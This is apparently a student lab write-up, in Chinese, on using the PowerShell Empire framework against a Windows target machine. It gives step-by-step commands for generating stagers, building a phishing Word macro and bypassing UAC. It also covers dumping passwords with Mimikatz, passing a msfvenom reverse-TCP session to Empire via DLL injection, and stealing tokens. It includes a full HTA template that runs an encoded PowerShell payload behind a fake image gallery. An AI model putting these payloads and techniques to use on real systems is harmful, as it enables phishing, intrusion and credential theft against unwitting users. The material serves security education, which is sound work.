zoukankan      html  css  js  c++  java
  • Final——PowerShell Empire

    一、介绍

    • Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行 PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于 Metasploit,是一个基于 PowerShell的远程控制木马。

    二、安装

    • Empire运行在Linux平台下,安装命令如下:

      git clone https://github.com/EmpireProject/Empire.git
      //这样容易失败,建议直接去链接处下载压缩包解压进行后续使用
      cd /Empire/setup/
      ./install.sh
      
    • 运行:./empire
      image
      可以看到它包含三个部分:

      • 一个是modules即自身的一些模块
      • 一个是listernes即监听,类似msfexploit/multi/handler模块
      • 一个是agents即已经链接上的会话,类似msf所存的session
    • 输入help查看使用帮助
      image

    三、基本使用

    • 设置监听
      • listeners进入监听线程界面
      • uselistener后按一个空格在敲两下TAB键列出可供使用的监听器,这里我们选择http
        image
      • 查看要设置的参数:info
        image
        我们看到HostPort(即监听使用的ip和端口)已经是我们攻击方的IP和端口了,只需要修改Name即可
      • 设置参数:set Name test
      • 开始监听:execute
        image
      • 设置完成后可使用back-list查看设置好的监听器
    • 生成木马
      • 这里可以理解为Metasploit里的Payload,Empire中有多个模块化的stager
      • usestager后按一个空格在敲两下TAB键设置采用的模块(可以看到支持linux、Windows、osx)
        image
      • 选择usestager windows/dlldll木马
      • info查看参数设置
        image
      • 设置Name参数:set Name test(注意这里的名字要和监听器的名字一样!)
      • execute执行后会看到在tmp目录下生成了一个launcher.dll文件,该文件在目标主机上可以通过webshell运行,运行后empire这边就会成功上线。
      • 或者可以back后输入launcher <language> <listenerName>生成一行base64编码代码(即生成一个Payload),将生成的这段代码在装有powershell的目标机上执行,就会得到这个主机的权限。

    四、渗透实践

    1、利用PowerShell Empire生成网络钓鱼文件

    • 使用Empire的macro载荷
      • 按之前步骤设置好监听
        image
      • 使用macro载荷
        image
    • 上图中我们生成了一个宏,并且保存在tmp目录中名称为macro,打开我们可以发现该载荷使用PowerShell的编码命令进行了转换,就像我们用launcher powershell tc生成payload,再进行VBA代码的转换。
      image
    • 将上面的宏添加到一个Office文档中
      • 新建一个Word文件或Excel文件
      • 选择视图-,点击创建后,在VB编辑界面将里面已有的代码删除,然后,将刚才用Empire生成的宏复制粘贴进去。
        image
      • 点击保存时会跳出一个对话框,选择,接着我们保存为97-2003格式即可。
    • 现在将生成好的钓鱼文件在靶机上运行(钓鱼文件嘛里面要添加一些正常吸引人的内容),此时会有提示未启用宏,点击启用宏内容后,ok上线成功!
      image
    • 下面我们就可以进行一些操作了!!
      • 修改下靶机的名称(方便使用):rename 43SY8BVU tc
      • 与靶机进行交互:interact tc
      • 截屏:sc
        image
      • 查看系统信息:sysinfo
        image
      • 尝试提权:bypassuac test,等几秒钟,就会返回一个更高权限的shell,再次输入agents,发现当前靶机主机名前带有一个*,表示提权成功!
        image
      • 使用内置的mimikatz模块:mimikatz神器mimikatz介绍)这里主要是抓取靶机的用户名和密码
        image

    2、MSF与Empire联动

    • 我们在之前的实验里都是用MSF进行渗透获取session,而这个session一般是没有高权限的,这是我们可以利用Empire进行后续更高权限操作。
    • 先使用msfvenom简单编码生成一个木马:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
    • MSF中开启监听并在靶机上运行获取session
      image
    • 接下将这个session关联至Empire
      • 创建一个监听器,设置监听器名字、监听主机和监听端口(注意和MSF的相同)
      • 使用dll诸如进程来关联Empire:我们选用usestager windows/dll模块
        image
    • 选取一个进程号实现注入:MSF的session下使用ps查看进程
      image
    • 注入dll文件
      • background后台运行会话
      • use post/windows/manage/reflective_dll_inject
      • 设置参数后run
        image
    • 看到注入完毕,Empire这边就有了上线反应(因为电脑出问题重做了一遍,靶机地址有变)
      image
    • 下面我们先提权:bypassuac test(监听名称)
      image
    • 现在我们使用Empire自带的module进行令牌窃取
      • 使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码
        image
      • 窃取身份:pth CredID号
        image
      • 窃取身份令牌:steal_token PID号
        image
      • 通过ps我们可以找到该进程
        image

    3、永生之火后门渗透

    • Empire按之前步骤开启监听后,launcher powershell test生成一段powershell代码
      image
    • 随任意格式的图片在在线base64转换将其转成base64格式
      image
    • 上面代码插入以下代码块中
      <html>
      <head>
         <title>weibo@flagellantX</title>
      </head>
      <script type = "text/javascript">
      
      var index= -1;
      var images = ["base64代码段"];
      
      function initGallery () {
       window.resizeTo (300,300);
       htaPayload ();
       nextPicture ();
      };
      
      function nextPicture () {
       var img;
       index = index + 1;
       if (index > images.length -1) {
           index = 0;
       }
       img = document.getElementById ("gallery");
       img.src = images [index];
      };
      
      function htaPayload () {
        var payload="PowerShell代码段";
        try{
            if(navigator.userAgent.indexOf("Windows") !== -1){
                new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false);
            }
        }
        catch(e){
        }
      };
      
      </script>
      
      <style>
      
      #gallery, div {
       100%;
      height: 100%;
      }
      
      #outer {
      text-align: center;
      }
      
      #inner{
      display: inline-block;
      }
      
      body {
      background-color: black;
      }
      
      </style>
      
      <body onload = "initGallery ()">
        <div id = "outer">
          <div id = "inner">
            <img id = "gallery" onclick = "nextPicture ()">
          </div>
        </div>
      </body>
      </html>
      
    • 将完整的代码,用Script Encoder程序打开,选用HTML/ASP+Scripts,点击Convert。在右边框,形成脚本代码。
      image
    • 之后我们打包出一个.hta的可执行文件,在目标主机上运行,轻松在Empire上线
      image

    参考资料

  • 相关阅读:
    《网络对抗》 后门原理与实践
    《网络对抗》 逆向及Bof进阶实践
    20145211黄志远《网络对抗》Exp9 Web安全基础实践
    20145211 《网络对抗》Exp8 Web基础
    20145211黄志远 《网络对抗》Exp7 网络欺诈技术防范
    20145211MSF基础应用实验
    20145211黄志远 《网络对抗技术》 恶意代码分析
    20145211黄志远 《网络对抗技术》 免杀原理与实践
    20145211黄志远 《网络对抗技术》 后门原理与实践
    20145211《网络对抗》注入Shellcode并执行&&Return-to-libc攻击
  • 原文地址:https://www.cnblogs.com/besty-zyx/p/11071355.html
Copyright © 2011-2022 走看看